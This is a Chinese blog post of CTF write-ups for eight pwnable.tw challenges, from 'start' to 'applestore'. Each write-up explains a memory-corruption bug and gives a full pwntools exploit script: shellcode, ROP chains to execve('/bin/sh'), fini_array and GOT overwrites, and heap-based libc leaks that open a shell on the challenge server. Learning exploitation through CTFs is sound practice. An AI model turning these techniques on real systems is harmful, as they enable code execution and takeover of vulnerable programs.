PWNABLE.TW(1)

Start

在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './start'
r = remote('chall.pwnable.tw', 10000)
#r = process(binary)
elf = ELF(binary)
def db():
    gdb.attach(r)
leak_esp = 0x08048087
shellcode = asm("xor ecx,ecx;\
                 xor edx,edx;\
                 push edx;\
                 push 0x68732f6e;\
				 push 0x69622f2f;\
                 mov ebx,esp;\
                 mov al,0xb;\
                 int 0x80")
#shellcode = asm(shellcraft.sh())
#shellcode =b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
r.recvuntil("Let's start the CTF:")
payload = flat({
    0x14:leak_esp
})
#db()
r.send(payload)
esp = u32(r.recv(4))+0x14
log.info("esp -> "+hex(esp))
payload = flat({
    0x14:esp ,
    0x18:shellcode
})
sleep(0.1)
r.send(payload)

r.interactive()

该payload不可使用shellcraft模块!且第一次不可使用sendline进行传参,会修改泄露esp的低位为0xa


orw

在这里插入图片描述
并且存在栈溢出漏洞!
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './orw'
r = remote('chall.pwnable.tw', 10001)
#r = process(binary)
elf = ELF(binary)

r.recvuntil("Give my your shellcode:")
payload = shellcraft.open("/home/orw/flag")
payload += shellcraft.read('eax','esp',100)
payload += shellcraft.write(1,'esp',100)
payload = asm(payload)
r.send(payload)
r.interactive()

calc

该题为计算器,保护NX和Canary开启!
在这里插入图片描述
get_expr函数接受合法数据
在这里插入图片描述
parse_expr((int)&s, &v1) 关键函数!
在这里插入图片描述
eval运算函数
在这里插入图片描述
此处存在漏洞,以偏移进行计算!

如果输入 "+300"
此时*num哨兵里面储存的数值为1
num[*num - 1] += num[*num]
相当于
num[0] = num[0] + num[1]
而num[0]是哨兵,故最后会更改哨兵的数值,
此时打印函数会根据哨兵的数值进行打印
接下来为*num--
此时*num = 301 - 1 = 300
那么打印便会打印出num[300]的数值,
故,此时我们并可以泄露出栈上的数据!
  int v1; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]
 
 v1为哨兵,既是*num
 v2[100]为num[101],因为num[0]储存着哨兵
 bzero(&s, 0x400u);
 将s的0x400全部置零
 init_pool(&v1);
 将v2[100]全部置零
 相当于ebp-59Ch到ebp-Ch全部置零,且每循环一次置零一次,故此时我们便不可以泄露此处的内容
 (0x59c-0xc)/4=356	int类型为4字节

此时我们便可以泄露出地址上的内容了,但是我们如何修改内容嘞?
经过+300的操作可以修改*num哨兵的数值,那么我们在+300的基础上进行加减乘除的操作,相当于往num[*num]地址上修改内容!
在这里插入图片描述
此时我们便需要不断的将栈上的数据进行构造为ROP!
在这里插入图片描述

.text:08049455                 and     esp, 0FFFFFFF0h
.text:08049458                 sub     esp, 10h
计算机中所有数都是以补码形式存储的。

根据上面所述,即可得到ebp上的栈值!

ebp = leak(360)
ebp = ((ebp+0x100000000)&0xFFFFFFF0)-0x10
log.info("ebp -> "+hex(ebp))
sh = ebp+20-0x100000000

此时我们便可以利用畸形的数据进行构造栈上的数值
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = './calc'
r = remote('chall.pwnable.tw', 10100)
#r = process(binary)
elf = ELF(binary)
pop_eax_ret = 0x0805c34b
pop_edx_ret = 0x080701aa
pop_ecx_ebx_ret = 0x080701d1
int80 = 0x08049a21
sh1 = 0x6e69622f#'\x6e\x69\x62\x2f'
sh2 = 0x0068732f#'\x68\x73\x2f\x00'

def leak(index):
    payload = str('+'+str(index))
    r.sendline(payload)
    leakInt = int(r.recvuntil('\n')[:-1])
    return leakInt
    
def writeAddr(index,target):
    leakInt = leak(index)
    if(leakInt>target):
        target = leakInt - target
        oper = '-'
    else:
        target = target - leakInt
        oper = '+'
    payload = str('+' + str(index) + oper + str(target))
    r.sendline(payload)
    #print(payload)
    r.recvline()

if __name__ == '__main__':
    r.recvuntil("=== Welcome to SECPROG calculator ===\n")
    ebp = leak(360)
    ebp = ((ebp+0x100000000)&0xFFFFFFF0)-0x10
    log.info("ebp -> "+hex(ebp))
    sh = ebp+20-0x100000000
    writeAddr(361,pop_eax_ret)
    writeAddr(362,11)
    writeAddr(363,pop_ecx_ebx_ret)
    writeAddr(364,0)
    writeAddr(365,sh)
    writeAddr(366,int80)
    writeAddr(367,0x6e69622f)#'/bin'
    writeAddr(368,0x0068732f)#'/sh\x00'
    r.sendline("N")
    r.interactive()

3x17

在这里插入图片描述
通过字符串定位main函数位置
在这里插入图片描述
mian函数大致流程可以知道,可以动态调试验证漏洞。
在这里插入图片描述
存在任意地址写,但是长度为0x18

在64位的静态程序当中,除了ret2syscall,碰到了静态程序的万能gadget—>fini,fini是个什么东西呢?回想之前的main真的是函数入口吗?,在程序进入和退出都会调用函数来帮忙初始化和善后,它们分别是__libc_csu_init和__libc_csu_fini.
也就是__libc_csu_init来进行初始化操作,__libc_csu_fini来进行结束操作!

我们发现存在_fini_array数组,由__libc_csu_fini函数进行执行。该函数会执行_fini_array数组函数,函数存在两个函数地址,此后会直接退出。
在这里插入图片描述
如果使用任意地址写覆写fini_array数组的内容,则main函数结束是会执行我们所覆写的函数地址,此时我们覆写fini_array内容为main,__libc_csu_fini此时便可以循环执行main函数地址,而main函数中的判断为 byte_4B9330 == 1 可以通过不断循环进行溢出byte_4B9330从而执行main函数!
在这里插入图片描述
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='amd64',endian='little')

binary = './3x17'
r  =remote('chall.pwnable.tw', 10105)
#r = process(binary)
efl = ELF(binary)
main = 0x0401B6D#elf.symbols['main']
fini_array = 0x04B40F0
libc_csu_fini = 0x0402960
syscall = 0x04022b4
esp = 0x4b4100
pop_rax_ret = 0x041e4af
pop_rdi_ret = 0x0401696
pop_rsi_ret = 0x0406c30
pop_rdx_ret = 0x0446e35
leave_ret = 0x0401C4B
ret = 0x0401016
def writeAddr(addr,fake_addr):
    r.recvuntil("addr:")
    r.sendline(addr)
    r.recvuntil("data:")
    r.send(fake_addr)

sh = esp+0x100
writeAddr(str(fini_array),p64(libc_csu_fini)+p64(main))
writeAddr(str(esp),p64(pop_rax_ret)+p64(0x3b))
writeAddr(str(esp+0x10),p64(pop_rdi_ret)+p64(sh))
writeAddr(str(esp+0x20),p64(pop_rdx_ret)+p64(0))
writeAddr(str(esp+0x30),p64(pop_rsi_ret)+p64(0))
writeAddr(str(esp+0x40),p64(syscall))
writeAddr(str(sh),b'/bin/sh\x00')
#gdb.attach(r)
writeAddr(str(fini_array),p64(leave_ret))

r.interactive()

dubblesort

在这里插入图片描述
sort函数为正常的排序函数
在这里插入图片描述
在这里插入图片描述
经过gdb调试发现位于第一次打印name,printf遇到’\x00’截断,而$name+7所储存的为libc内地址
在这里插入图片描述
故可以计算出偏移量0xf7fcd000-0xf7e1b000=0x1b2000,此时便可以泄露出libc地址。
此时我们便开始思考如何进行利用,有那些地方是没有对用户进行限制的?
便是sort排序时候,没有对排序最大数值进行限制。

  int length; // eax
  int **number; // edi
  unsigned int i; // esi
  unsigned int j; // esi
  int *v7; // ST08_4
  int result; // eax
  unsigned int num; // [esp+18h] [ebp-74h]
  int *number_0; // [esp+1Ch] [ebp-70h]
  char buf; // [esp+3Ch] [ebp-50h]
  unsigned int v12; // [esp+7Ch] [ebp-10h]

---------------------------------------->
length							eax
num								esp+18h
*number_0						esp+1ch
buf(name)						esp+3ch		
v12(canary)						esp+7ch		num[24]
								ebp
								eip			num[32]
---------------------------------------->

我们想要劫持eip,但是存在canary保护,故我们可以采用0进行填充,因为canary低位为\x00,其排序为 升序
通过readelf -S 命令可以得到
[32] .got.plt PROGBITS 001b2000 1b1000 000030 04 WA 0 0 4
[31] .got.plt PROGBITS 001b0000 1af000 000030 04 WA 0 0 4
此时我们可以得知远程主机的偏移量为0x1b0000
在这里插入图片描述
num[24](canary)时可以输入+或者-,对于%u相当于无效输入,但并不是错误输入,程序可以继续向下运行,且main函数结尾存在4个pop指令,故需要进行填充,此时eip为num[33],而/bin/sh地址为num[34]
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386',endian='little')

binary = './dubblesort'
r = remote('chall.pwnable.tw', 10101)
#r = process(binary)
elf = ELF(binary)
libc = ELF('./libc_32.so.6')
system = 0x03a940
sh = 0x158e8b

def leak():
    global libc
    r.recvuntil("What your name :")
    payload = b'a'*20+b'b'*4
    r.sendline(payload)
    r.recvuntil(b'bbbb')
    libc = int(u32(r.recv(4)))-0xa-0x1b0000#0x1b2000
    log.info("libc -> "+hex(libc))

leak()
system += libc
sh += libc
r.sendline('35')
for i in range(24):
    r.recvuntil("number : ")
    r.sendline('0')
r.recvuntil("number : ")
r.sendline('+')
for i in range(9):
    r.recvuntil("number : ")
    r.sendline(str(system))
r.recvuntil("number : ")
r.sendline(str(sh))

r.interactive()

hacknote

BUU上也收录了这道题目!
在这里插入图片描述
逻辑比较简单。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
可以看到整体函数逻辑比较简单,这里glibc为Ubuntu16版本,故我们可以利用unsorted bin来泄露出libc地址,然后覆写puts函数地址为system函数地址,然后执行Show函数即执行system函数。

from pwn import *
context(log_level='debug',os='linux',arch='i386',endian='little')

binary = './hacknote'
r = process(binary)
elf = ELF(binary)
libc = ELF('./libc_32.so.6')
puts_plt = elf.plt['puts']
system = libc.symbols['system']
def Allocate(size,payload):
    r.sendlineafter("Your choice :",'1')
    r.sendlineafter("Note size :",str(size))
    r.sendlineafter("Content :",payload)

def Free(index):
    r.sendlineafter("Your choice :",'2')
    r.sendlineafter("Index :",str(index))

def Show(index):
    r.sendlineafter("Your choice :",'3')
    r.sendlineafter("Index :",str(index))

Allocate(0x50,'')#0
Allocate(0x10,'')#1

Free(0)
Allocate(0x50,'')#2
Show(2)
main_arena = u32(r.recv(8)[4:8])-48
log.info("main_arena -> "+hex(main_arena))
libc_base = main_arena-0x1b2780#0x1b0780
log.info("libc_base -> "+hex(libc_base))
system_addr = main_arena - 0x177a00#libc_base+system
log.info("system_addr -> "+hex(system_addr))
Allocate(0x8,';/sh\x00')#3

Free(3)
Free(1)
Allocate(0x8,p32(system_addr)+b';sh\x00')#4
Show(3)
#gdb.attach(r)

r.interactive()

上述脚本可以在本地glibc2.23版本情况下得到flag,远程无法得到flag,故需要进行修改偏移量,远程偏移量已被注释,脚本中存在!
在这里插入图片描述


Silver Bullet

主函数如下
在这里插入图片描述
分为三个函数来实现功能!
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
此时我们可以注意到power_up函数中存在strncat函数,且拼接到bullet尾部,此时发现出现栈溢出漏洞!

strncat()会将参数src字符串拷贝n个字符到参数dest所指的字符串尾。第一个参数dest要有足够的空间来容纳要拷贝的字符串。
结尾会添加一个\x00作为结束符

我们利用strncat的特性,先输入47个字符,再拼接1个字符,会在结尾添加一个\x00作为结束符。此时长度便被覆写成功了
在这里插入图片描述
此时我们可以进行栈溢出漏洞,但是想要指向return函数,必须打败狼人才可以,故我们也可以构造长度为0xffffffff。
在这里插入图片描述

from pwn import *
context(log_level='debug',os='linux',arch='i386')

binary = "./silver_bullet"
r = remote('chall.pwnable.tw', 10103)
#r = process(binary)
elf = ELF(binary)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_ebx_ret = 0x08048475

def menu(choice):
    r.sendlineafter(b"Your choice :",str(choice))

def createBullet(payload):
    menu(1)
    r.recvuntil(b"Give me your description of bullet :")
    r.sendline(payload)

def powerUp(payload):
    menu(2)
    r.recvuntil(b"Give me your another description of bullet :")
    r.send(payload)

def beat():
    menu(3)

createBullet(b'a'*47)
powerUp(b'a')
#gdb.attach(r)
payload = flat(['\xff'*3 ,'a'*4 ,puts_plt ,pop_ebx_ret ,puts_got ,0x08048954])
powerUp(payload)
beat()
r.recvuntil("Oh ! You win !!\n")
puts_addr = u32(r.recv(4))
libc_base = puts_addr-0x005F140
system = libc_base+0x003A940
sh = libc_base+0x00158e8b
log.info("system -> "+hex(system))
log.info("bin_sh -> "+hex(sh))

createBullet(b'a'*47)
powerUp(b'a')
payload2 = flat(['\xff'*3 ,'a'*4 ,system ,pop_ebx_ret ,sh])
powerUp(payload2)
beat()

r.interactive()

applestore

分析主要函数
在这里插入图片描述
add函数,内部create函数会malloc(0x10),且asprintf同时会申请一个chunk用来储存字符!
在这里插入图片描述
delete函数
在这里插入图片描述
cart函数
在这里插入图片描述
checkout函数
在这里插入图片描述
在这里插入图片描述
我们可以触发彩蛋,将价格总额数凑为7174该值,查看内存的分布情况!
在这里插入图片描述
此时我们可以利用输入修改该处的指针,进而打印出libc地址,同时我们进而可以得知environ,得到栈地址。然后利用delete函数中逻辑达到写入system!
在这里插入图片描述
在这里插入图片描述

from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')

binary = './applestore'
r = remote('chall.pwnable.tw', 10104)
#r = process(binary)
elf = ELF(binary)
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
myCart = 0x0804B068

def Allocate(cart=1):
    r.sendlineafter("> ",'2')
    r.sendlineafter("Device Number> ",str(cart))

def Free(payload):
    r.sendlineafter("> ",'3')
    r.sendlineafter("Item Number> ",payload)

def Cart(payload='y'):
    r.sendlineafter("> ",'4')
    r.sendlineafter("Let me check your cart. ok? (y/n) > ",payload)

def checkout(payload='y'):
    r.sendlineafter("> ",'5')
    r.sendlineafter("Let me check your cart. ok? (y/n) > ",payload)



for i in range(6):
    Allocate()
for i in range(20):
    Allocate(2)


#gdb.attach(r)
checkout()
payload = b'y\x00'+p32(puts_got)+p32(0)
Cart(payload)
r.recvuntil("27: ")
puts_addr = u32(r.recv(4))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr-libc.dump('puts')
environ_addr = libc_base+libc.dump('environ')
system = libc_base+libc.dump('system')
sh = libc_base+libc.dump('str_bin_sh')
log.info("libc_base -> "+hex(libc_base))
log.info("puts_addr -> "+hex(puts_addr))
log.info("environ_addr -> "+hex(environ_addr))
log.info("system -> "+hex(system))
log.info("sh -> "+hex(sh))

#gdb.attach(r)
payload2 = b'y\x00'+p32(environ_addr)+p32(0)
Cart(payload2)
r.recvuntil("27: ")
ebp_addr = u32(r.recv(4))-0xc4
log.info("ebp_addr -> "+hex(ebp_addr))

#gdb.attach(r,'b *0x08048A6F')
payload3 = b'27'+p32(ebp_addr)+p32(atoi_got)+p32(atoi_got+0x22)+p32(ebp_addr-0x40-0x8)
Free(payload3)

r.sendlineafter("> ",p32(system)+b'||/bin/sh')

r.interactive()

最后解读以下为什么atoi_got要加上0x22,因为传参以ebp为基准找偏移,而偏移量为0x22。而ebp_addr-0x40-0x8该参数,ebp_addr-0x40为现在的进入my_read函数中的ebp,减去0x8是因为delete函数中也是以偏移寻找的,偏移为0x8.
在这里插入图片描述

posted @ 2021-12-30 22:07  望权栈  阅读(18)  评论(0编辑  收藏  举报  来源